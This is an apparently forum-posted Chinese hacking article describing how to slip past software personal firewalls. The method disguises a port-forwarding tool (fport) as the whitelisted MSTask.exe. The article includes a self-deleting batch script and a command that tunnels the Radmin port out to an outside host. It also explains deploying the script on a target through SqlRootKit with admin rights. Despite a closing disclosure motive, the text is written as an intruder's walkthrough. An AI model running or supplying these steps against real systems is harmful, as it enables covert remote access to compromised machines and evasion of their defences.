一直以來都有一個夢想：偶要是能發現些漏洞或BUG什么的該多好啊！于是整天對著電腦瞎弄瞎研究，研究什么呢？研究如何突破防火墻（偶這里指的防火墻是軟體型的個人防火墻，硬件的偶也沒條件。）嘿嘿，你還別說，還真沒白研究，還真給偶發現了大多數防火墻的通病。這個BUG能讓我們欺騙防火墻來達到訪外的目的，具體情況是怎么樣的呢？請看下面的解說！
首先，我要介紹一下Windows系統特性，當一個程序運行時，它不能刪除，但卻能夠改名！而當系統里的被保護程序遭到刪除或損壞或改名時系統就會及時調用備份文件給予還原！我再講講防火墻，大家都知道許多防火墻的“應用程序規則”里一般默認就會讓IE瀏覽器（iexplore.exe）、Outlook Express（msimn.exe）、lsass.exe、spoolsv.exe、MSTask.exe、winlogon.exe、services.exe、svchost.exe通過，而大多的防火墻認為只要是與規則里的路徑及文件名相同就Pass！以這樣的檢測方法來決定是否放行，但它卻完全沒考慮到如果是別的文件替換的呢？——就相當于古裝片里的易容術，易容后就認不得了！這就給了我們機會，我們可以利用這個BUG來欺騙防火墻來達到訪外的目的！
小知識：其實現在大多木馬采用的DLL插線程技術也就是利用了這個原理，它們首先隱蔽的開啟一個認證放行的程序進程（如Iexplore.exe進程），接著把DLL型木馬插入這個線程內，然后訪外時就可輕松突破防火墻的限制了——因為防火墻是不會攔截已認證放行的程序的。
原理講完了，我們現在講講該如何利用這個BUG了！這里我用虛擬機做實驗，制造如下條件：
為了更符合現實，我給服務器安裝了“天網防火墻”、Radmin（但由于防火墻指定了訪問IP地址，所以沒辦法正常連接！），MSSQL SERVER、Serv-u。首先我們用常用的方法進行端口轉發，看看防火墻有什么反應！
第一步，啟用AngelShell Ver 1.0里的Fport（用來進行端口轉發的服務端，幾乎可以轉發任何端口），然后在本地用FportClient（用來進行端口轉發的客戶端）監聽好！
第二步，直接在CMDSHELL里運行“e:\www\fport.exe 4899 192.168.1.1 7788”，這時我們看到虛擬機里的“天網”對Fport馬上進行了攔截。 
看到了吧！由于Fport并不是認證放行的，防火墻馬上就進行了攔截！OK，現在我們實行欺騙計劃，看偶如何突破防火墻的！還是執行第一步，然后新建一個批處理，內容如下：
ren MSTask.exe MSTask1.exe
ren fport.exe MSTask.exe
MSTask.exe 4899 192.168.1.1 7788
Del %0
命名為go.bat，接著用SqlRootKit把“Fport.exe”和go.bat 一起copy到目標機子的c:\winnt\system32\（也就是MSTask所在的目錄）在SqlRootKit里執行go.bat（注意如果要改MSTask.exe的名的話就需要有管理員權限）。
當FportClient出現“已經接受到遠程計算機的連接！”時，用Radmin客戶端連接本機的4899端口。
我們已經成功突破限制（由于防火墻沒有限制本地連接4899端口，我們用Fport轉發了它的端口，登錄時等于本地連接，因此我們能夠成功連接），這樣一來，我們本不能逃過防火墻的Fport便變成了一個有“插線程”技術的端口轉發工具了！
據我實驗，國內的防火墻幾乎無一例外的“擁有”這個BUG！雖然這個BUG不會帶來什么大的危害，但總是給入侵者多了一個黑我們的機會！
WTF老大說獨樂樂不如眾樂樂，所以我還是公布出來了，一是可以讓我們國內的防火墻有所改進，二是給網管們提個醒！由于小弟技術有限，難免會出現錯誤，歡迎各位指正批評。
N/P （NetPatch）